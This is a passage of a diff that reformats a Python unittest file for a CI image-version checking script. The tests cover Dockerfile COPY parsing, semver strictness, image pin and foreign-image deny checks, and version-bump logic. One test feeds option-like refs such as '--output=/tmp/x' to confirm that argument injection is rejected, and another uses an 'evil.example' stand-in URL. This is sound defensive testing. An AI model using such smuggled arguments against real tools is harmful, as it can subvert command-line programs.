env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"})
|
||||
return subprocess.run(
|
||||
cmd,
|
||||
cwd=cwd,
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env={
|
||||
**os.environ,
|
||||
"GIT_CONFIG_GLOBAL": "/dev/null",
|
||||
"GIT_CONFIG_SYSTEM": "/dev/null",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
class PureTest(unittest.TestCase):
|
||||
def test_copy_sources_skip_from_stage(self):
|
||||
self.assertEqual(civ.copy_sources(CI_DOCKERFILE), ["requirements-dev.txt", ".pre-commit-config.yaml"])
|
||||
self.assertEqual(
|
||||
civ.copy_sources(CI_DOCKERFILE),
|
||||
["requirements-dev.txt", ".pre-commit-config.yaml"],
|
||||
)
|
||||
|
||||
def test_copy_sources_json_form_and_directories(self):
|
||||
self.assertEqual(civ.copy_sources('COPY ["a.txt", "b/", "/dst/"]\n'), ["a.txt", "b/"])
|
||||
self.assertEqual(civ.touched(["conf/x.cfg", "other"], [], ["conf/"]), ["conf/x.cfg"])
|
||||
self.assertEqual(civ.touched(["a.txt", "b.txt", "c.md"], [], ["*.txt"]), ["a.txt", "b.txt"])
|
||||
self.assertEqual(
|
||||
civ.copy_sources('COPY ["a.txt", "b/", "/dst/"]\n'), ["a.txt", "b/"]
|
||||
)
|
||||
self.assertEqual(
|
||||
civ.touched(["conf/x.cfg", "other"], [], ["conf/"]), ["conf/x.cfg"]
|
||||
)
|
||||
self.assertEqual(
|
||||
civ.touched(["a.txt", "b.txt", "c.md"], [], ["*.txt"]), ["a.txt", "b.txt"]
|
||||
)
|
||||
self.assertEqual(civ.touched(["anything"], [], ["."]), ["anything"])
|
||||
|
||||
def test_version_order(self):
|
||||
@@ -68,8 +101,16 @@ class PureTest(unittest.TestCase):
|
||||
civ.parse_version("1.0.0+build")
|
||||
|
||||
def test_prerelease_precedence_per_semver(self):
|
||||
order = ["1.0.0-alpha", "1.0.0-alpha.1", "1.0.0-alpha.beta", "1.0.0-beta", "1.0.0-beta.2",
|
||||
"1.0.0-beta.11", "1.0.0-rc.1", "1.0.0"]
|
||||
order = [
|
||||
"1.0.0-alpha",
|
||||
"1.0.0-alpha.1",
|
||||
"1.0.0-alpha.beta",
|
||||
"1.0.0-beta",
|
||||
"1.0.0-beta.2",
|
||||
"1.0.0-beta.11",
|
||||
"1.0.0-rc.1",
|
||||
"1.0.0",
|
||||
]
|
||||
keys = [civ.parse_version(v) for v in order]
|
||||
self.assertEqual(keys, sorted(keys))
|
||||
self.assertEqual(len(set(keys)), len(keys))
|
||||
@@ -89,11 +130,17 @@ class PureTest(unittest.TestCase):
|
||||
return civ.matrix_of(IMAGE_YML.format(mol=mol, ci=ci))
|
||||
|
||||
def test_foreign_production_images_are_denied(self):
|
||||
for text in ("image: git.rkdr.net/defame1297/gitea-ansible-runner:1@sha256:" + "a" * 64,
|
||||
"# GIT.RKDR.NET:443/Defame1297/x", "image: git.rkdr.net/defame1297/y"):
|
||||
for text in (
|
||||
"image: git.rkdr.net/defame1297/gitea-ansible-runner:1@sha256:" + "a" * 64,
|
||||
"# GIT.RKDR.NET:443/Defame1297/x",
|
||||
"image: git.rkdr.net/defame1297/y",
|
||||
):
|
||||
self.assertEqual(len(civ.check_foreign_images({"w.yml": text})), 1, text)
|
||||
for text in ("image: git.rkdr.net/mortis/ci:0.2.0", "https://git.rkdr.net/defame1297x",
|
||||
"see Defame1297/ansible-homelab-mono"):
|
||||
for text in (
|
||||
"image: git.rkdr.net/mortis/ci:0.2.0",
|
||||
"https://git.rkdr.net/defame1297x",
|
||||
"see Defame1297/ansible-homelab-mono",
|
||||
):
|
||||
self.assertEqual(civ.check_foreign_images({"w.yml": text}), [], text)
|
||||
|
||||
def test_pins_ok_and_lagging(self):
|
||||
@@ -102,10 +149,18 @@ class PureTest(unittest.TestCase):
|
||||
|
||||
def test_pin_ahead_of_matrix_unknown_image_and_malformed(self):
|
||||
m = self.matrix()
|
||||
self.assertEqual(len(civ.check_pins(m, {"f": f"git.rkdr.net/mortis/ci:0.3.0@{DIGEST}"})), 1)
|
||||
self.assertEqual(len(civ.check_pins(m, {"f": f"git.rkdr.net/mortis/zzz:0.1.0@{DIGEST}"})), 1)
|
||||
self.assertEqual(len(civ.check_pins(m, {"f": "git.rkdr.net/mortis/ci:0.2.0"})), 1)
|
||||
self.assertEqual(len(civ.check_pins(m, {"f": "git.rkdr.net/mortis/ci@sha256:abc"})), 1)
|
||||
self.assertEqual(
|
||||
len(civ.check_pins(m, {"f": f"git.rkdr.net/mortis/ci:0.3.0@{DIGEST}"})), 1
|
||||
)
|
||||
self.assertEqual(
|
||||
len(civ.check_pins(m, {"f": f"git.rkdr.net/mortis/zzz:0.1.0@{DIGEST}"})), 1
|
||||
)
|
||||
self.assertEqual(
|
||||
len(civ.check_pins(m, {"f": "git.rkdr.net/mortis/ci:0.2.0"})), 1
|
||||
)
|
||||
self.assertEqual(
|
||||
len(civ.check_pins(m, {"f": "git.rkdr.net/mortis/ci@sha256:abc"})), 1
|
||||
)
|
||||
|
||||
def test_pin_spellings_are_reported(self):
|
||||
m = self.matrix()
|
||||
@@ -127,18 +182,20 @@ class PureTest(unittest.TestCase):
|
||||
|
||||
def test_urls_and_ssh_remotes_are_not_pin_mentions(self):
|
||||
m = self.matrix()
|
||||
text = ("url: https://git.rkdr.net/mortis/kamino\nurl2: http://git.rkdr.net/mortis/kamino.git\n"
|
||||
"ssh: git@git.rkdr.net:mortis/kamino.git\n")
|
||||
text = (
|
||||
"url: https://git.rkdr.net/mortis/kamino\nurl2: http://git.rkdr.net/mortis/kamino.git\n"
|
||||
"ssh: [email protected]:mortis/kamino.git\n"
|
||||
)
|
||||
self.assertEqual(civ.check_pins(m, {"f": text}), [])
|
||||
|
||||
def test_copy_source_fails_closed(self):
|
||||
cases = {
|
||||
"COPY $FILE /dst/\n": "'$'",
|
||||
'COPY "a b" /dst/\n': "'\"'",
|
||||
"COPY 'a' /dst/\n": "\"'\"",
|
||||
"COPY 'a' /dst/\n": '"\'"',
|
||||
"COPY a#b /dst/\n": "'#'",
|
||||
'COPY ["$X", "/dst/"]\n': "'$'",
|
||||
"COPY [\"a\", unquoted]\n": "JSON form",
|
||||
'COPY ["a", unquoted]\n': "JSON form",
|
||||
"RUN --mount=type=bind,source=src,target=/s make\n": "RUN --mount binds the build context",
|
||||
"RUN --mount=source=src,target=/s make\n": "RUN --mount binds the build context",
|
||||
"FROM x\nRUN --mount=type=bind,target=/s \\\n make\n": "Dockerfile:2:",
|
||||
@@ -152,8 +209,10 @@ class PureTest(unittest.TestCase):
|
||||
self.assertNotIn("\n", message)
|
||||
|
||||
def test_copy_source_ok_cases_still_pass(self):
|
||||
ok = ("RUN --mount=type=cache,target=/c make\nRUN --mount=type=bind,from=b,source=/x,target=/y make\n"
|
||||
"# COPY $IGNORED /x\nCOPY --chown=1:1 a b/ /dst/\nCOPY https://example.org/x /dst/\n")
|
||||
ok = (
|
||||
"RUN --mount=type=cache,target=/c make\nRUN --mount=type=bind,from=b,source=/x,target=/y make\n"
|
||||
"# COPY $IGNORED /x\nCOPY --chown=1:1 a b/ /dst/\nCOPY https://example.org/x /dst/\n"
|
||||
)
|
||||
self.assertEqual(civ.copy_sources(ok), ["a", "b/"])
|
||||
|
||||
def test_continuation_with_trailing_blanks_is_joined(self):
|
||||
@@ -166,10 +225,21 @@ class PureTest(unittest.TestCase):
|
||||
for text in ("", "# only a comment\n", "- a\n- b\n", "just a string\n"):
|
||||
with self.assertRaises(civ.CheckError, msg=repr(text)) as ctx:
|
||||
civ.matrix_of(text)
|
||||
self.assertIn("no jobs.image.strategy.matrix.include list", str(ctx.exception))
|
||||
self.assertIn(
|
||||
"no jobs.image.strategy.matrix.include list", str(ctx.exception)
|
||||
)
|
||||
|
||||
def test_semver_is_strict(self):
|
||||
for bad in ("0.1.0\n", "01.0.0", "1.02.0", "1.0.00", "1.0.0-01", "1.0.0-rc.01", "1.0.0 ", "v1.0.0"):
|
||||
for bad in (
|
||||
"0.1.0\n",
|
||||
"01.0.0",
|
||||
"1.02.0",
|
||||
"1.0.00",
|
||||
"1.0.0-01",
|
||||
"1.0.0-rc.01",
|
||||
"1.0.0 ",
|
||||
"v1.0.0",
|
||||
):
|
||||
with self.assertRaises(ValueError, msg=repr(bad)):
|
||||
civ.parse_version(bad)
|
||||
for good in ("0.0.0", "1.0.0-0", "1.0.0-0a", "1.0.0-rc.0", "10.20.30"):
|
||||
@@ -182,11 +252,21 @@ class PureTest(unittest.TestCase):
|
||||
self.assertEqual(civ.check_pins(m, {"f": text}), [], tail)
|
||||
ahead = f"x: (git.rkdr.net/mortis/ci:0.3.0@{DIGEST}), z\n"
|
||||
self.assertEqual(len(civ.check_pins(m, {"f": ahead})), 1)
|
||||
self.assertEqual(len(civ.check_pins(m, {"f": "x: [git.rkdr.net/mortis/ci:0.1.0@sha256:abc, y]"})), 1)
|
||||
self.assertEqual(
|
||||
len(
|
||||
civ.check_pins(
|
||||
m, {"f": "x: [git.rkdr.net/mortis/ci:0.1.0@sha256:abc, y]"}
|
||||
)
|
||||
),
|
||||
1,
|
||||
)
|
||||
|
||||
def test_matrix_shape_errors(self):
|
||||
def doc(body):
|
||||
return "jobs:\n image:\n strategy:\n matrix:\n include:\n" + body
|
||||
return (
|
||||
"jobs:\n image:\n strategy:\n matrix:\n include:\n"
|
||||
+ body
|
||||
)
|
||||
|
||||
entry = " - name: a\n version: '0.1.0'\n dockerfile: D\n"
|
||||
cases = {
|
||||
@@ -198,9 +278,15 @@ class PureTest(unittest.TestCase):
|
||||
entry.replace("'0.1.0'", "0.1") + "": "version must be a string",
|
||||
entry + entry: "duplicate image name 'a'",
|
||||
entry + " version: '0.2.0'\n": "duplicate key 'version'",
|
||||
entry.replace("version: '0.1.0'", "version: *anchor"): "cannot read the value",
|
||||
entry.replace("version: '0.1.0'", "version: \"0\\x2e1.0\""): "cannot read the quoted value",
|
||||
entry.replace(" - name: a\n", " - name: ''\n"): "name must be a non-empty string",
|
||||
entry.replace(
|
||||
"version: '0.1.0'", "version: *anchor"
|
||||
): "cannot read the value",
|
||||
entry.replace(
|
||||
"version: '0.1.0'", 'version: "0\\x2e1.0"'
|
||||
): "cannot read the quoted value",
|
||||
entry.replace(
|
||||
" - name: a\n", " - name: ''\n"
|
||||
): "name must be a non-empty string",
|
||||
" - name: a\n dockerfile: D\n": "lacks the key 'version'",
|
||||
}
|
||||
for body, text in cases.items():
|
||||
@@ -208,112 +294,188 @@ class PureTest(unittest.TestCase):
|
||||
civ.matrix_of(doc(body))
|
||||
self.assertIn(text, str(ctx.exception), body)
|
||||
self.assertNotIn("\n", str(ctx.exception))
|
||||
self.assertEqual(civ.matrix_of(doc(entry + " subpath:\n"))["a"]["subpath"], "")
|
||||
self.assertEqual(
|
||||
civ.matrix_of(doc(entry + " subpath:\n"))["a"]["subpath"], ""
|
||||
)
|
||||
with self.assertRaises(civ.CheckError) as ctx:
|
||||
civ.matrix_of("jobs: [unclosed\n")
|
||||
self.assertNotIn("\n", str(ctx.exception))
|
||||
|
||||
def test_matrix_reader_accepts_comments_quotes_and_key_order(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
text = text.replace(" - name: ci\n version: 0.2.0\n",
|
||||
" # the ci image\n - version: \"0.2.0\" # bumped by the bot\n"
|
||||
" name: ci\n")
|
||||
text = text.replace(
|
||||
" - name: ci\n version: 0.2.0\n",
|
||||
' # the ci image\n - version: "0.2.0" # bumped by the bot\n'
|
||||
" name: ci\n",
|
||||
)
|
||||
self.assertEqual(civ.matrix_of(text)["ci"]["version"], "0.2.0")
|
||||
self.assertEqual(civ.matrix_of(text)["mol"]["subpath"], "images/mol")
|
||||
|
||||
def test_matrix_reader_agrees_with_pyyaml_on_the_real_file(self):
|
||||
# The reader replaces PyYAML in the Renovate image (which has none); here PyYAML is the oracle.
|
||||
import yaml
|
||||
real = (pathlib.Path(__file__).resolve().parents[2] / civ.MATRIX_FILE).read_text()
|
||||
want = {e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "", "dockerfile": e["dockerfile"],
|
||||
"job_image": e["job_image"]}
|
||||
for e in yaml.safe_load(real)["jobs"]["image"]["strategy"]["matrix"]["include"]}
|
||||
|
||||
real = (
|
||||
pathlib.Path(__file__).resolve().parents[2] / civ.MATRIX_FILE
|
||||
).read_text()
|
||||
want = {
|
||||
e["name"]: {
|
||||
"version": e["version"],
|
||||
"subpath": e.get("subpath") or "",
|
||||
"dockerfile": e["dockerfile"],
|
||||
"job_image": e["job_image"],
|
||||
}
|
||||
for e in yaml.safe_load(real)["jobs"]["image"]["strategy"]["matrix"][
|
||||
"include"
|
||||
]
|
||||
}
|
||||
self.assertEqual(civ.matrix_of(real), want)
|
||||
self.assertEqual(civ.matrix_of(IMAGE_YML.format(mol="0.1.0", ci="0.2.0")),
|
||||
{e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "",
|
||||
"dockerfile": e["dockerfile"], "job_image": e["job_image"]}
|
||||
for e in yaml.safe_load(IMAGE_YML.format(mol="0.1.0", ci="0.2.0"))
|
||||
["jobs"]["image"]["strategy"]["matrix"]["include"]})
|
||||
self.assertEqual(
|
||||
civ.matrix_of(IMAGE_YML.format(mol="0.1.0", ci="0.2.0")),
|
||||
{
|
||||
e["name"]: {
|
||||
"version": e["version"],
|
||||
"subpath": e.get("subpath") or "",
|
||||
"dockerfile": e["dockerfile"],
|
||||
"job_image": e["job_image"],
|
||||
}
|
||||
for e in yaml.safe_load(IMAGE_YML.format(mol="0.1.0", ci="0.2.0"))[
|
||||
"jobs"
|
||||
]["image"]["strategy"]["matrix"]["include"]
|
||||
},
|
||||
)
|
||||
|
||||
def test_job_image_must_match_the_dockerfile_release(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
matrix = civ.matrix_of(text)
|
||||
files = {"images/mol/Dockerfile": f"FROM {JOB}\n",
|
||||
"images/ci/Dockerfile": f"FROM {JOB} AS os\nFROM os AS build\nFROM os AS final\n"}
|
||||
files = {
|
||||
"images/mol/Dockerfile": f"FROM {JOB}\n",
|
||||
"images/ci/Dockerfile": f"FROM {JOB} AS os\nFROM os AS build\nFROM os AS final\n",
|
||||
}
|
||||
|
||||
def read(path):
|
||||
return files[path]
|
||||
|
||||
self.assertEqual(civ.check_job_images(matrix, read, text), [])
|
||||
files["images/ci/Dockerfile"] = f"FROM ubuntu:26.04@{DIGEST} AS os\nFROM os AS final\n"
|
||||
files["images/ci/Dockerfile"] = (
|
||||
f"FROM ubuntu:26.04@{DIGEST} AS os\nFROM os AS final\n"
|
||||
)
|
||||
errors = civ.check_job_images(matrix, read, text)
|
||||
self.assertEqual(len(errors), 1)
|
||||
self.assertIn("builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0])
|
||||
self.assertIn(
|
||||
"builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0]
|
||||
)
|
||||
files["images/ci/Dockerfile"] = "FROM debian:12\n"
|
||||
self.assertIn("FROM debian:12 is not an Ubuntu base", civ.check_job_images(matrix, read, text)[0])
|
||||
self.assertIn(
|
||||
"FROM debian:12 is not an Ubuntu base",
|
||||
civ.check_job_images(matrix, read, text)[0],
|
||||
)
|
||||
files["images/ci/Dockerfile"] = f"FROM {JOB} AS os\n"
|
||||
self.assertEqual(civ.check_job_images(matrix, read, text.replace("matrix.job_image", "matrix.other")),
|
||||
[".gitea/workflows/image.yml: the job container must be "
|
||||
"`image: ${{ matrix.job_image }}`"])
|
||||
self.assertEqual(
|
||||
civ.check_job_images(
|
||||
matrix, read, text.replace("matrix.job_image", "matrix.other")
|
||||
),
|
||||
[
|
||||
".gitea/workflows/image.yml: the job container must be "
|
||||
"`image: ${{ matrix.job_image }}`"
|
||||
],
|
||||
)
|
||||
|
||||
def test_job_image_shape_and_missing_key(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
for bad in (text.replace(f"job_image: {JOB}", "job_image: ubuntu:latest", 1),
|
||||
text.replace(f" job_image: {JOB}\n", "", 1)):
|
||||
errors = civ.check_job_images(civ.matrix_of(bad), lambda path: f"FROM {JOB}\n", bad)
|
||||
for bad in (
|
||||
text.replace(f"job_image: {JOB}", "job_image: ubuntu:latest", 1),
|
||||
text.replace(f" job_image: {JOB}\n", "", 1),
|
||||
):
|
||||
errors = civ.check_job_images(
|
||||
civ.matrix_of(bad), lambda path: f"FROM {JOB}\n", bad
|
||||
)
|
||||
self.assertEqual(len(errors), 1, errors)
|
||||
self.assertIn("job_image in .gitea/workflows/image.yml must be ubuntu:<release>@sha256:<digest>", errors[0])
|
||||
self.assertIn(
|
||||
"job_image in .gitea/workflows/image.yml must be ubuntu:<release>@sha256:<digest>",
|
||||
errors[0],
|
||||
)
|
||||
|
||||
def test_dockerfile_releases_fail_closed(self):
|
||||
digest = DIGEST
|
||||
cases = {
|
||||
f"FROM --platform=linux/amd64 ubuntu:26.04@{digest} AS a\nFROM a AS b\n": (["26.04"], 0),
|
||||
f"FROM --platform=linux/amd64 ubuntu:26.04@{digest} AS a\nFROM a AS b\n": (
|
||||
["26.04"],
|
||||
0,
|
||||
),
|
||||
f"FROM docker.io/library/ubuntu:24.04@{digest}\n": (["24.04"], 0),
|
||||
"FROM ubuntu:24.04 AS ubuntu\nFROM ubuntu AS x\n": (["24.04"], 0),
|
||||
"FROM golang:1.22 AS b\nFROM ubuntu:24.04\n": (["24.04"], 1),
|
||||
"ARG B=ubuntu:26.04\nFROM ubuntu:24.04 AS a\nFROM ${B} AS b\n": (["24.04"], 1),
|
||||
"ARG B=ubuntu:26.04\nFROM ubuntu:24.04 AS a\nFROM ${B} AS b\n": (
|
||||
["24.04"],
|
||||
1,
|
||||
),
|
||||
"FROM ubuntu:${REL}\n": ([], 1),
|
||||
"FROM ubuntu:24.04\nRUN <<EOF\necho hi\nEOF\n": (["24.04"], 0),
|
||||
}
|
||||
for text, (want_releases, want_problems) in cases.items():
|
||||
releases, problems = civ.dockerfile_releases(text)
|
||||
self.assertEqual((releases, len(problems)), (want_releases, want_problems), (text, problems))
|
||||
self.assertEqual(
|
||||
(releases, len(problems)),
|
||||
(want_releases, want_problems),
|
||||
(text, problems),
|
||||
)
|
||||
|
||||
def test_container_line_must_sit_under_container(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
lookalike = text.replace(" container:\n image: ${{ matrix.job_image }}\n",
|
||||
" container:\n image: ubuntu:24.04\n steps:\n - run: |\n"
|
||||
" image: ${{ matrix.job_image }}\n")
|
||||
errors = civ.check_job_images(civ.matrix_of(lookalike), lambda path: f"FROM {JOB}\n", lookalike)
|
||||
lookalike = text.replace(
|
||||
" container:\n image: ${{ matrix.job_image }}\n",
|
||||
" container:\n image: ubuntu:24.04\n steps:\n - run: |\n"
|
||||
" image: ${{ matrix.job_image }}\n",
|
||||
)
|
||||
errors = civ.check_job_images(
|
||||
civ.matrix_of(lookalike), lambda path: f"FROM {JOB}\n", lookalike
|
||||
)
|
||||
self.assertEqual(len(errors), 1, errors)
|
||||
self.assertIn("the job container must be", errors[0])
|
||||
|
||||
def test_quoted_job_image_is_refused(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace(f"job_image: {JOB}", f'job_image: "{JOB}"', 1)
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace(
|
||||
f"job_image: {JOB}", f'job_image: "{JOB}"', 1
|
||||
)
|
||||
with self.assertRaises(civ.CheckError):
|
||||
civ.matrix_of(text)
|
||||
|
||||
def test_image_metadata_labels_and_documentation(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
matrix = civ.matrix_of(text)
|
||||
files = {"images/mol/Dockerfile": labelled("mol"), "images/ci/Dockerfile": labelled("ci")}
|
||||
files = {
|
||||
"images/mol/Dockerfile": labelled("mol"),
|
||||
"images/ci/Dockerfile": labelled("ci"),
|
||||
}
|
||||
sizes = {"docs/images/mol.md": 5, "docs/images/ci.md": 5}
|
||||
|
||||
def check():
|
||||
return civ.check_image_metadata(matrix, lambda path: files[path], sizes.get)
|
||||
|
||||
self.assertEqual(check(), [])
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace('net.rkdr.mortis.usage="x"', 'net.rkdr.mortis.usage=""')
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace(
|
||||
'net.rkdr.mortis.usage="x"', 'net.rkdr.mortis.usage=""'
|
||||
)
|
||||
self.assertIn("lacks the label(s) net.rkdr.mortis.usage", check()[0])
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace("docs/images/ci.md", "docs/images/other.md")
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace(
|
||||
"docs/images/ci.md", "docs/images/other.md"
|
||||
)
|
||||
self.assertIn("documentation label must be", check()[0])
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace("https://example.org/src", "https://evil.example/src")
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace(
|
||||
"https://example.org/src", "https://evil.example/src"
|
||||
)
|
||||
self.assertIn("documentation label must be", check()[0])
|
||||
files["images/ci/Dockerfile"] = labelled("renamed")
|
||||
self.assertTrue(any("expected the image name" in e for e in check()))
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace('net.rkdr.mortis.usage="x"', 'net.rkdr.mortis.usage="the distribution\'s tool"')
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace(
|
||||
'net.rkdr.mortis.usage="x"',
|
||||
'net.rkdr.mortis.usage="the distribution\'s tool"',
|
||||
)
|
||||
self.assertIn("contain a single quote", check()[0])
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace('base.name="ubuntu:24.04"', 'base.name="ubuntu:22.04"')
|
||||
files["images/ci/Dockerfile"] = labelled("ci").replace(
|
||||
'base.name="ubuntu:24.04"', 'base.name="ubuntu:22.04"'
|
||||
)
|
||||
self.assertIn("base.name label 'ubuntu:22.04' differs", check()[0])
|
||||
files["images/ci/Dockerfile"] = labelled("ci")
|
||||
sizes["docs/images/ci.md"] = 0
|
||||
@@ -326,23 +488,40 @@ class PureTest(unittest.TestCase):
|
||||
check()
|
||||
|
||||
def test_dockerfile_labels_parse_like_a_shell(self):
|
||||
text = ('FROM a AS b\nLABEL builder=1\nFROM c\n'
|
||||
'LABEL one="x y=z w" two=\'q r\' \\\n three=plain\n'
|
||||
'LABEL four="PRE_COMMIT_HOME=/opt/pre-commit; done" legacy value\n')
|
||||
self.assertEqual(civ.dockerfile_labels(text),
|
||||
{"one": "x y=z w", "two": "q r", "three": "plain", "four": "PRE_COMMIT_HOME=/opt/pre-commit; done"})
|
||||
text = (
|
||||
"FROM a AS b\nLABEL builder=1\nFROM c\n"
|
||||
"LABEL one=\"x y=z w\" two='q r' \\\n three=plain\n"
|
||||
'LABEL four="PRE_COMMIT_HOME=/opt/pre-commit; done" legacy value\n'
|
||||
)
|
||||
self.assertEqual(
|
||||
civ.dockerfile_labels(text),
|
||||
{
|
||||
"one": "x y=z w",
|
||||
"two": "q r",
|
||||
"three": "plain",
|
||||
"four": "PRE_COMMIT_HOME=/opt/pre-commit; done",
|
||||
},
|
||||
)
|
||||
self.assertEqual(civ.dockerfile_labels('FROM c\nLABEL a="unbalanced\n'), {})
|
||||
|
||||
def test_real_dockerfiles_carry_the_metadata(self):
|
||||
root = pathlib.Path(__file__).resolve().parents[2]
|
||||
matrix = civ.matrix_of((root / civ.MATRIX_FILE).read_text())
|
||||
self.assertEqual(civ.check_image_metadata(matrix, lambda p: (root / p).read_text(),
|
||||
lambda p: (root / p).stat().st_size if (root / p).is_file() else None), [])
|
||||
self.assertEqual(
|
||||
civ.check_image_metadata(
|
||||
matrix,
|
||||
lambda p: (root / p).read_text(),
|
||||
lambda p: (root / p).stat().st_size if (root / p).is_file() else None,
|
||||
),
|
||||
[],
|
||||
)
|
||||
|
||||
def test_scripts_do_not_import_yaml(self):
|
||||
# The bump step runs in the Renovate image, whose python3 has no PyYAML (dry run 2453).
|
||||
for script in ("check_image_versions.py", "bump_image_versions.py"):
|
||||
source = (pathlib.Path(__file__).resolve().parents[2] / "scripts" / script).read_text()
|
||||
source = (
|
||||
pathlib.Path(__file__).resolve().parents[2] / "scripts" / script
|
||||
).read_text()
|
||||
self.assertNotRegex(source, r"(?m)^\s*(import|from)\s+yaml\b", script)
|
||||
|
||||
def test_bump_logic(self):
|
||||
@@ -351,11 +530,31 @@ class PureTest(unittest.TestCase):
|
||||
|
||||
base = self.matrix()
|
||||
same = self.matrix()
|
||||
for path in ("images/mol/Dockerfile", "images/ci/Dockerfile", "requirements-dev.txt", ".pre-commit-config.yaml"):
|
||||
for path in (
|
||||
"images/mol/Dockerfile",
|
||||
"images/ci/Dockerfile",
|
||||
"requirements-dev.txt",
|
||||
".pre-commit-config.yaml",
|
||||
):
|
||||
self.assertTrue(civ.check_bump(base, same, [path], read), path)
|
||||
self.assertEqual(civ.check_bump(base, same, ["README.md", "images/other/x", ".gitea/workflows/lint.yml"], read), [])
|
||||
self.assertEqual(civ.check_bump(base, self.matrix(ci="0.2.1"), ["requirements-dev.txt"], read), [])
|
||||
self.assertTrue(civ.check_bump(base, self.matrix(ci="0.1.9"), [], read)) # backwards
|
||||
self.assertEqual(
|
||||
civ.check_bump(
|
||||
base,
|
||||
same,
|
||||
["README.md", "images/other/x", ".gitea/workflows/lint.yml"],
|
||||
read,
|
||||
),
|
||||
[],
|
||||
)
|
||||
self.assertEqual(
|
||||
civ.check_bump(
|
||||
base, self.matrix(ci="0.2.1"), ["requirements-dev.txt"], read
|
||||
),
|
||||
[],
|
||||
)
|
||||
self.assertTrue(
|
||||
civ.check_bump(base, self.matrix(ci="0.1.9"), [], read)
|
||||
) # backwards
|
||||
|
||||
|
||||
class GitTest(unittest.TestCase):
|
||||
@@ -368,8 +567,12 @@ class GitTest(unittest.TestCase):
|
||||
run(self.repo, "git", "init", "-q", "-b", "main")
|
||||
run(self.repo, "git", "config", "user.email", "[email protected]")
|
||||
run(self.repo, "git", "config", "user.name", "t")
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.0"))
|
||||
self.write("images/ci/Dockerfile", labelled("ci", CI_DOCKERFILE.split("\n", 1)[1]))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
)
|
||||
self.write(
|
||||
"images/ci/Dockerfile", labelled("ci", CI_DOCKERFILE.split("\n", 1)[1])
|
||||
)
|
||||
self.write("images/mol/Dockerfile", labelled("mol"))
|
||||
self.write("docs/images/ci.md", "ci\n")
|
||||
self.write("docs/images/mol.md", "mol\n")
|
||||
@@ -388,13 +591,23 @@ class GitTest(unittest.TestCase):
|
||||
run(self.repo, "git", "commit", "-q", "-m", msg)
|
||||
|
||||
def bump(self):
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_image_versions.py"), "bump", "main"],
|
||||
cwd=self.repo, capture_output=True, text=True, check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_image_versions.py"), "bump", "main"],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return proc.returncode, proc.stderr
|
||||
|
||||
def bump_args(self, *args, cwd=None):
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_image_versions.py"), *args],
|
||||
cwd=cwd or self.repo, capture_output=True, text=True, check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_image_versions.py"), *args],
|
||||
cwd=cwd or self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return proc.returncode, proc.stderr
|
||||
|
||||
def assert_clean_failure(self, result, text):
|
||||
@@ -407,7 +620,10 @@ class GitTest(unittest.TestCase):
|
||||
def test_pins_cli_denies_a_production_image_in_any_workflow(self):
|
||||
self.write(".gitea/workflows/lint.yml", "name: Lint\n")
|
||||
self.assertEqual(self.bump_args("pins")[0], 0)
|
||||
self.write(".gitea/workflows/other.yaml", "container: git.rkdr.net/defame1297/runner:1\n")
|
||||
self.write(
|
||||
".gitea/workflows/other.yaml",
|
||||
"container: git.rkdr.net/defame1297/runner:1\n",
|
||||
)
|
||||
code, err = self.bump_args("pins")
|
||||
self.assertEqual(code, 1)
|
||||
self.assertIn("other.yaml: mentions git.rkdr.net/defame1297/", err)
|
||||
@@ -428,10 +644,14 @@ class GitTest(unittest.TestCase):
|
||||
|
||||
def test_option_like_base_ref_is_rejected(self):
|
||||
for ref in ("--output=/tmp/x", "-h", "a b", "main\n"):
|
||||
self.assert_clean_failure(self.bump_args("bump", ref), "not a plain ref name")
|
||||
self.assert_clean_failure(
|
||||
self.bump_args("bump", ref), "not a plain ref name"
|
||||
)
|
||||
|
||||
def test_unknown_base_ref_is_one_line(self):
|
||||
self.assert_clean_failure(self.bump_args("bump", "nope"), "git merge-base failed")
|
||||
self.assert_clean_failure(
|
||||
self.bump_args("bump", "nope"), "git merge-base failed"
|
||||
)
|
||||
|
||||
def test_git_errors_are_decoded_text_not_a_bytes_repr(self):
|
||||
code, err = self.bump_args("bump", "nope")
|
||||
@@ -441,13 +661,19 @@ class GitTest(unittest.TestCase):
|
||||
self.assertIn("fatal:", err)
|
||||
|
||||
def test_bad_version_in_matrix_is_one_line(self):
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="latest", ci="0.2.0"))
|
||||
self.write(
|
||||
